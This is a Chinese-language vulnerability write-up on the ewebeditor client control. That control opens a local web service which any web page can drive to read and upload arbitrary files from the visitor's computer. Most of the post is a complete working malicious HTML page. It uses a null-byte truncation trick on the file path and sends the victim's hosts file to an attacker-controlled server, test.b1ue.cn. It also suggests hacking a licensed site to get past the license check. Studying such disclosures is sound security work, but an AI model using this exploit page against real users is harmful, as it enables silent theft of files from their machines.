关于漏洞
这个漏洞是我在做某个渗透测试项目时发现的,其漏洞是由于安装在客户端的 ewebeditor 编辑器功能控件在本地开启了一个 web 服务,供上传文件等功能调用,导致可以通过让被攻击者访问我构造的恶意网页来窃取被攻击者操作系统上的任意文件。
漏洞分析
这个漏洞点是在 ewebeditor 批量上传时存在缺陷,具体如何实现完整的攻击,后面我会一一写出来。
首先说一下这个“批量上传”功能。随便找到一个使用了 ewebeditor 的网站,比如官网的 demo
如果已安装并且事先启动过控件进程的话,就会展示出完整功能。
如未安装,则会弹出下载安装界面。
安装成功再次访问,则会提示让你确定是否启动控件应用进程。
确定后就会在操作系统中启动安装好的 ewebeditor 控件服务,并监听web服务端口(https:20036/http:20035)
此时 ewebeditor 的批量上传功能就已经可以使用了。
根据我从 js 源码和黑盒调试后分析出批量上传主要经过以下几个步骤。
- 向 http://127.0.0.1:20035 端口发起 ajax 请求,判断端口是否开放,开放则说明系统已安装并运行了ewebeditor控件。如未开放则可能未运行控件并访问
ewebeditorls:port=20035
提示浏览器运行控件。另一种是未安装,会提示需要下载并安装。 - 20035 正常可访问后会再向这个端口发送几个 http 请求,主要有“初始化”、“弹出文件选择框”、“指定客户端文件绝对路径”、“上传文件”、“获取上传状态”、“获取远程服务器文件路径”这几个请求,其中“指定文件绝对路径”这一步骤中的参数是可以随意指定的,参考下图。
3.网页向 20035 端口发送的请求其中有一个“文件上传”的请求,
Act=mfuupload&Param1=&V=8300&Lang=zh-cn&Charset=utf-8&SendUrl=http%3A%2F%2Fwww.ewebeditor.net%2Fewebeditor%2Fasp%2Fupload.asp%3Fstyle%3Dstandard600%26cusdir%3D%26sparams%3D%26skey%3D%26h%3Dwww.ewebeditor.net&LocalSize=10240&LocalExt=gif%7Cjpg%7Cbmp%7Cwmz%7Cpng&Cookie=ASPSESSIONIDCATTSCAC%3DGMHCPKJCDCMBNLONIPOFJGNE%3B%20IPCity%3D%25E6%259C%25AA%25E7%259F%25A5%3B%20ASPSESSIONIDACQQTACD%3DOIOJHOBDBIIEGINJGFILLPCJ&CertIssuer=&CertSubject=&UseProxy=1&UserAgent=Mozilla%2F5.0%20(Windows%20NT%2010.0%3B%20Win64%3B%20x64%3B%20rv%3A67.0)%20Gecko%2F20100101%20Firefox%2F67.0
这里会把在前面已选择的文件列表一一判断是否符合初始化时给定的文件扩展名,然后再向 SendUrl 参数的地址发起以下两个请求。
3.1. 判断license是否合法
由于功能是商业产品的功能,它在上传之前先判断了一下这个网站有没有购买license。
判断方法就是访问 /ewebeditor/jsp/i.jsp?action=license&r=随机数&h=域名
然后再进行一系列计算。
所以如果要完整的利用漏洞则需要解决这个问题,解决方案有三种,这里我拿了一个已购买的license的源码,然后修改HOSTS域名模拟方案b。
a) 黑掉一个已经购买 license 的网站
b) 花几百块买一个 license
c) 尝试破解 license
3.2. 向远程服务器发起上传数据包
当license校验通过后会把文件列表中的文件一一去构造上传数据包,请求至 /ewebeditor/jsp/upload.jsp
。
至此批量上传功能分析结束。
总结一下,如果要完成客户端任意文件读取的话,只需要自己搭建一套已购买license的ewebeditor,再修改一下/ewebeditor/jsp/upload.jsp
直接输出上传文件请求里的文件内容,最后构造一下恶意页面,把从初始化到上传的ajax请求都写进去。
但这样还是只能上传被允许的扩展名文件,如c:/windows/system32/drivers/etc/hosts
这种没有扩展名的文件,控件端就不会发起上传请求,经过测试发现控件端存在着 00 截断漏洞,也就是说我在“指定文件绝对路径”的时候,给文件名后面加一个 %00 再加一个被允许的扩展名就可以欺骗控件端,以达到可以发起文件上传请求的目的。
最后我构造了出如下利用代码
<!DOCTYPE html>
<html>
<head>
<script src="https://cdn.bootcss.com/jquery/3.4.1/jquery.min.js"></script>
<script>
window.isOpen = false;
var isSSL = false;
var version = "8300";
var service = (isSSL?"https":"http") +"://127.0.0.1:" + (isSSL?20036:20035);
var licenseHost = "test.b1ue.cn";
var attackerHost = "http://test.b1ue.cn:8080";
var attacker = attackerHost + "/editor/ewebeditor/jsp/upload.jsp?style=standard600&cusdir=&sparams=&skey=&h="+licenseHost;
var getFiles = ["c:/windows/system32/drivers/etc/hosts"+decodeURIComponent("%00")+".doc"];
var cookie = "hello=world";
var interval = setInterval(init,1500);
function stopLoop() {
clearInterval(interval);
}
function init(){
$.ajax(
{
"url":service,
"type":"POST",
"contentType":"application/x-www-form-urlencoded",
"error":function(){
console.log("error")
var src = $("#ifr").attr("src")
if (!src){
$("#ifr").attr("src","ewebeditorls:port="+(isSSL?20036:20035));
}
},
"success":function(){
window.isOpen = true;
stopLoop();
isinstalled();
}
}
);
}
function isinstalled(){
$.ajax(
{
"url":service,
"type":"POST",
"contentType":"application/x-www-form-urlencoded",
"data":{
"Act":"isinstalled",
"Param1":"true",
"V":version,
"Lang":"zh-cn",
"Charset":"utf-8",
"SendUrl":attacker,
"LocalSize":"10240",
"LocalExt":"gif|jpg|bmp|wmz|png",
"Cookie":cookie,
"CertIssuer":"",
"CertSubject":""
},
"error":function(){
console.log("error")
},
"success":function(e){
console.log(e);
mfu_init();
}
}
);
}
function mfu_init(){
$.ajax(
{
"url":service,
"type":"POST",
"contentType":"application/x-www-form-urlencoded",
"data":{
"Act":"mfu_init",
"Param1":decodeURIComponent("100%0Dfile%0D10240%0Drar%7Czip%7Cpdf%7Cdoc%7Cxls%7Cppt%7Cchm%7Chlp%0D1"),
"V":version,
"Lang":"zh-cn",
"Charset":"utf-8",
"SendUrl":attacker,
"LocalSize":"10240",
"LocalExt":"gif|jpg|bmp|wmz|png",
"Cookie":cookie,
"CertIssuer":"",
"CertSubject":""
},
"error":function(){
console.log("error")
},
"success":function(e){
console.log(e);
mfu_getinfos();
}
}
);
}
function mfu_getinfos(){
for (i in getFiles){
var file = getFiles[i];
//file = file + decodeURIComponent("%00") + ".doc";
$.ajax(
{
"url":service,
"type":"POST",
"contentType":"application/x-www-form-urlencoded",
"data":{
"Act":"mfu_getinfos",
"Param1":file,
"V":version,
"Lang":"zh-cn",
"Charset":"utf-8",
"SendUrl":attacker,
"LocalSize":"10240",
"LocalExt":"gif|jpg|bmp|wmz|png",
"Cookie":cookie,
"CertIssuer":"",
"CertSubject":""
},
"error":function(){
console.log("error")
},
"success":function(e){
console.log(e);
mfuupload();
}
}
);
}
}
function mfuupload(){
$.ajax(
{
"url":service,
"type":"POST",
"contentType":"application/x-www-form-urlencoded",
"data":{
"Act":"mfuupload",
"Param1":"",
"V":version,
"Lang":"zh-cn",
"Charset":"utf-8",
"SendUrl":attacker,
"LocalSize":"10240",
"LocalExt":"gif|jpg|bmp|wmz|png",
"Cookie":cookie,
"CertIssuer":"",
"CertSubject":""
},
"error":function(){
console.log("error")
},
"success":function(e){
console.log(e);
}
}
);
}
</script>
</head>
<body >
<iframe id='ifr' width=1 height=1 ></iframe>
</body>
</html>
完全按照上面总结的逻辑编写,当用户系统本身已经启动了控件就会自动把文件上传到 test.b1ue.cn,如果没有启动就会自动弹出启动询问框然后再上传。
此外还要修改ewebeditor服务器的一个文件“/ewebeditor/jsp/upload.jsp”
我直接删除了原有代码,然后把数据包里的文件保存到 upload 目录然后再打印在控制台,方便观察。
漏洞利用
根据分析部分,我需要先搭建一个已购买license的ewebeditor服务器,域名是 test.b1ue.cn,并且修改 upload.jsp。
然后访问我构造的页面。
可以看到访问我的页面后自动向控件端 127.0.0.1:20035 发送了上传“c:/windows/system32/drivers/etc/hosts”文件的请求。
然后控件端又把文件上传到“sendUrl”参数里的地址,也就是我搭建的ewebeditor服务器。
从我的Tomcat控制台可以看到,我指定的“c:/windows/system32/drivers/etc/hosts”文件内容被打印了出来。
至此整个漏洞的利用结束。